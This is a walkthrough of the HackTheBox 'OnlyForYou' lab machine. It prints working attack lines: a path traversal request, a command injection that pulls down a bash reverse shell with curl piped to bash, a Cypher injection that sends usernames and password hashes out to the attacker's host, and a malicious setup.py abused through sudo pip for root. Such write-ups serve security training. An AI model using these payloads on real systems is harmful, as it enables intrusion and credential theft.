8 minutes
HackTheBox :: OnlyForYou
Creator: 0xM4hm0ud
Machine URL: https://app.hackthebox.com/machines/OnlyForYou
Difficulty: Medium
Initial enumeration
As always, we start with a nmap
scan.
# Nmap 7.93 scan initiated Sat Apr 22 21:03:43 2023 as: nmap -p- -oA nmap/nmap_initial --min-rate=4000 -vv -sC -sV 10.129.62.194
Nmap scan report for 10.129.62.194
Host is up, received reset ttl 63 (0.034s latency).
Scanned at 2023-04-22 21:03:44 CEST for 22s
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 e883e0a9fd43df38198aaa35438411ec (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDX7r34pmJ6U9KrHg0/WDdrofcOXqTr13Iix+3D5ChuYwY2fmqIBlfuDo0Cz0xLnb/jaT3ODuDtmAih6unQluWw3RAf03l/tHxXfvXlWBE3I7uDu+roHQM7+hyShn+559JweJlofiYKHjaErMp33DI22BjviMrCGabALgWALCwjqaV7Dt6ogSllj+09trFFwr2xzzrqhQVMdUdljle99R41Hzle7QTl4maonlUAdd2Ok41ACIu/N2G/iE61snOmAzYXGE8X6/7eqynhkC4AaWgV8h0CwLeCCMj4giBgOo6EvyJCBgoMp/wH/90U477WiJQZrjO9vgrh2/cjLDDowpKJDrDIcDWdh0aE42JVAWuu7IDrv0oKBLGlyznE1eZsX2u1FH8EGYXkl58GrmFbyIT83HsXjF1+rapAUtG0Zi9JskF/DPy5+1HDWJShfwhLsfqMuuyEdotL4Vzw8ZWCIQ4TVXMUwFfVkvf410tIFYEUaVk5f9pVVfYvQsCULQb+/uc=
| 256 83f235229b03860c16cfb3fa9f5acd08 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBAz/tMC3s/5jKIZRgBD078k7/6DY8NBXEE8ytGQd9DjIIvZdSpwyOzeLABxydMR79kDrMyX+vTP0VY5132jMo5w=
| 256 445f7aa377690a77789b04e09f11db80 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOqatISwZi/EOVbwqfFbhx22EEv6f+8YgmQFknTvg0wr
80/tcp open http syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://only4you.htb/
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Apr 22 21:04:06 2023 -- 1 IP address (1 host up) scanned in 23.89 seconds
Two ports are open, and nginx redirects to only4you.htb
. We add this hostname to /etc/hosts.
Exploring only4you.htb
At http://only4you.htb we are greeted by the website for Only4you.
We take note of the people listed in the team section and the contact email just in case.
Other interesting things we found on the site are:
-
A link to http://beta.only4you.htb in the FAQ section:
We add this hostname to /etc/hosts.
-
Weird behavior of the contact form:
On submitting the contact form we get an error.You are not authorized!
This implies that the contact form is not just a static form that does nothing. There might be more to it than it seems.
Exploring beta.only4you.htb
The Source button (http://beta.only4you.htb/source) allows us to download the source code for this web application.
There are also several image manipulation tools available to us – Resize and Convert (http://beta.only4you.htb/resize and http://beta.only4you.htb/convert).
Analyzing the source code
app.py
@app.route('/download', methods=['POST'])
def download():
image = request.form['image']
filename = posixpath.normpath(image)
if '..' in filename or filename.startswith('../'):
flash('Hacking detected!', 'danger')
return redirect('/list')
if not os.path.isabs(filename):
filename = os.path.join(app.config['LIST_FOLDER'], filename)
try:
if not os.path.isfile(filename):
flash('Image doesn\'t exist!', 'danger')
return redirect('/list')
except (TypeError, ValueError):
raise BadRequest()
return send_file(filename, as_attachment=True)
posixpath.normpath(image)
will normalize the path making the checks for ..
and ../
always succeed due to the filename
variable always containing a full absolute path.
It appears that if we provide an absolute path to a file on the system, we should just get it, making it a Path Traversal vulnerability.
Path traversal in /download
To test it out we can grab the contents of /etc/passwd
POST /download HTTP/1.1
Host: beta.only4you.htb
Content-Length: 17
Content-Type: application/x-www-form-urlencoded
image=/etc/passwd
Let’s see what else we can find in the web applications’ source codes.
During the walk of http://only4you.htb, we noticed a strange behavior of the contact form.
We can find the source for this web app at /var/www/only4you.htb/app.py. This path can be easily guessed or grabbed from nginx configuration files at their standard locations.
/var/www/only4you.htb/app.py
from form import sendmessage
...
status = sendmessage(email, subject, message, ip)
if status == 0:
flash('Something went wrong!', 'danger')
elif status == 1:
flash('You are not authorized!', 'danger')
else:
flash('Your message was successfuly sent! We will reply as soon as possible.', 'success')
return redirect('/#contact')
else:
return render_template('index.html')
...
This is the behavior we’ve noticed during the initial enumeration.
Judging by the import
statement there should be a form.py
with sendmessage()
in it.
/var/www/only4you.htb/form.py
...
def issecure(email, ip):
if not re.match("([A-Za-z0-9]+[.-_])*[A-Za-z0-9]+@[A-Za-z0-9-]+(\.[A-Z|a-z]{2,})", email):
return 0
else:
domain = email.split("@", 1)[1]
result = run([f"dig txt {domain}"], shell=True, stdout=PIPE)
...
In the code snippet above there is a regex check for the email format of the string that we control via the email field in the contact form.
If this regex is passed the string is then split by @
to get the domain part of it. This domain is then passed directly to run()
as a parameter to dig
.
If we can bypass this regex check, we have the Command Injection.
Command Injection in Contact Form
And the regex is fairly easy to bypass: [email protected]`id` should satisfy the regex and pass fluff.me`id` to run()
. We can put any payload in the backticks to obtain code execution on the machine.
Reverse shell
We will write a standard bash
reverse shell payload to a file and host it on our attacking machine. In the Command Injection payload, we will curl
it and pipe it to bash
to execute.
┌──(fluff㉿kali)-[/opt/ctf/htb/onlyforyou/exploit]
└─$ echo 'bash -i >& /dev/tcp/10.10.14.27/443 0>&1' > shell.sh
POST / HTTP/1.1
Host: only4you.htb
Content-Length: 108
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://only4you.htb
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.78 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://only4you.htb/?email=hi%40fluff.me
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Connection: close
name=fluff&email=hi%40fluff.me`curl http://10.10.14.27/shell.sh | bash`&subject=Test&message=Test
We catch a shell as www-data
www-data
After checking the listening ports we find something interesting:
www-data@only4you:/opt$ netstat -tulpn
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.1:3000 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:8001 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:33060 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN 1020/nginx: worker
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp6 0 0 127.0.0.1:7687 :::* LISTEN -
tcp6 0 0 127.0.0.1:7474 :::* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
udp 0 0 127.0.0.53:53 0.0.0.0:* -
udp 0 0 0.0.0.0:68 0.0.0.0:*
TCP ports 3000 and 8001 stand out and are listening on localhost.
-
Running
curl http://127.0.0.1:3000
shows us a Gogs index page. -
curl http://127.0.0.1:8001
shows us a login page.
Quickly checking /opt we can assume that both web applications are located there on disk:
www-data@only4you:~$ ls /opt
gogs internal_app
We will use chisel
to proxy the traffic and access the web applications.
┌──(fluff㉿kali)-[/opt/ctf/htb/onlyforyou]
└─$ /opt/tools/chisel/chisel_amd64 server -p 9999 --reverse &
www-data@only4you:/tmp$ ./chisel client 10.10.14.27:9999 R:socks &
┌──(fluff㉿kali)-[/opt/ctf/htb/onlyforyou]
└─$ 2023/04/22 22:54:36 server: session#1: tun: proxy#R:127.0.0.1:1080=>socks: Listening
Now we have a SOCKS5 proxy on 127.0.0.1:1080 and can explore the web apps.
Web Application on TCP 8001
http://127.0.0.1:8001 with socks5 proxy.
We are greeted by the login page. The secure password is very secure – admin:admin
are the credentials.
Interesting findings:
-
In the Tasks section of the dashboard there is a valuable piece of info:
Migrated to a new database(neo4j)
-
The Employees page (http://127.0.0.1:8001/employees) has a search bar.
Looking into search functionality
Search is not static and POSTs data to /search
Playing around with it we get the weird behavior: with POST data search='+OR+'1'='1
we get all results from the database.
This suggests that we are dealing with a SQL Injection, but given that admin migrated to neo4j
it’s probably a <strong>Cypher Injection</strong>.
Cypher Injection (neo4j) – /search in Web application on TCP 8001
Note: Useful cheat sheet for cypher injections.
Testing out-of-band interaction to attacking machine
POST /search HTTP/1.1
Host: 127.0.0.1:8001
Content-Length: 61
Content-Type: application/x-www-form-urlencoded
Cookie: session=eadd7b53-e98d-478f-b5a7-c5f895709213; Expires=Sat, 22 Apr 2023 21:34:48 GMT; HttpOnly; Path=/
Connection: close
search='+LOAD+CSV+FROM+'http%3a//10.10.14.27'+AS+b+return+b//
We get a callback! This means we can extract data with OOB.
Get labels
POST /search HTTP/1.1
Host: 127.0.0.1:8001
Content-Length: 98
Content-Type: application/x-www-form-urlencoded
Cookie: session=eadd7b53-e98d-478f-b5a7-c5f895709213; Expires=Sat, 22 Apr 2023 21:34:48 GMT; HttpOnly; Path=/
Connection: close
search='CALL+db.labels()+YIELD+label+LOAD+CSV+FROM+'http%3a//10.10.14.27/?'%2blabel+AS+b+RETURN+b//
10.129.62.194 - - [23/Apr/2023 00:59:27] "GET /?user HTTP/1.1" 200 -
10.129.62.194 - - [23/Apr/2023 00:59:27] "GET /?employee HTTP/1.1" 200 -
user
and employee
labels are present.
Get properties of the user
label
...
search='MATCH+(c%3auser)+LOAD+CSV+FROM+'http%3a//10.10.14.27/'%2bkeys(c)[0]+AS+b+RETURN+b//
"GET /password HTTP/1.1" 404 -
...
search='MATCH+(c%3auser)+LOAD+CSV+FROM+'http%3a//10.10.14.27/'%2bkeys(c)[1]+AS+b+RETURN+b//
"GET /username HTTP/1.1" 404 -
Predictably, it’s user.username
and user.password
.
Get usernames and passwords
...
search='MATCH+(c%3auser)+LOAD+CSV+FROM+'http%3a//10.10.14.27/?'%2bc.username%2b':'%2bc.password+AS+b+RETURN+b//
10.129.62.194 - - [23/Apr/2023 01:02:15] "GET /?admin:8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918 HTTP/1.1" 200 -
10.129.62.194 - - [23/Apr/2023 01:02:15] "GET /?john:a85<REDACTED>6 HTTP/1.1" 200 -
We get a hash for user john. hashcat
cracks it quickly:
/tmp/hash ❯ hashcat hash.txt /usr/share/dict/rockyou.txt -m1400 --user --show
john:a85<REDACTED>6:T<REDACTED>u
The password is reused both as an OS password and a Gogs password. We can ssh
to the machine.
john
We cat user.txt
to get the user flag and start enumeration.
sudo
john@only4you:~$ sudo -l
Matching Defaults entries for john on only4you:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User john may run the following commands on only4you:
(root) NOPASSWD: /usr/bin/pip3 download http\://127.0.0.1\:3000/*.tar.gz
We are allowed to pip download
any tar.gz file from the Gogs on TCP 3000 as root.
pip download
works in a similar way to pip install
– it will execute the code we provide if we craft the malicious archive package correctly.
Given that john reused credentials to Gogs too, this should be trivial.
Privesc – Abusing sudo
of pip download
from Gogs instance
First, we create a malicious package that will add a SUID bit to bash
:
┌──(fluff㉿kali)-[/opt/ctf/htb/onlyforyou/exploit]
└─$ cat sploit/setup.py
import os; os.system('chmod +s /bin/bash')
┌──(fluff㉿kali)-[/opt/ctf/htb/onlyforyou/exploit]
└─$ tar -czf fluff.tar.gz sploit
Next, we Log in to Gogs (TCP 3000) and upload the tar.gz archive to http://127.0.0.1:3000/john/Test/src/master/.
Note: we must set the repository to “Public” in its settings – http://127.0.0.1:3000/john/Test/settings
Finally, we execute a sudo
command:
john@only4you:~$ sudo /usr/bin/pip3 download http://127.0.0.1:3000/john/Test/raw/master/fluff.tar.gz
Collecting http://127.0.0.1:3000/john/Test/raw/master/fluff.tar.gz
Downloading http://127.0.0.1:3000/john/Test/raw/master/fluff.tar.gz (195 bytes)
ERROR: Files/directories not found in /tmp/pip-req-build-x7q6rhb8/pip-egg-info
It errors out, but when we check bash
it will have the SUID bit set.
john@only4you:~$ ls -la /bin/bash
-rwsr-sr-x 1 root root 1183448 Apr 18 2022 /bin/bash
john@only4you:~$ bash -p
bash-5.0# cat /root/root.txt
We are root! Grab the flag in /root/root.txt.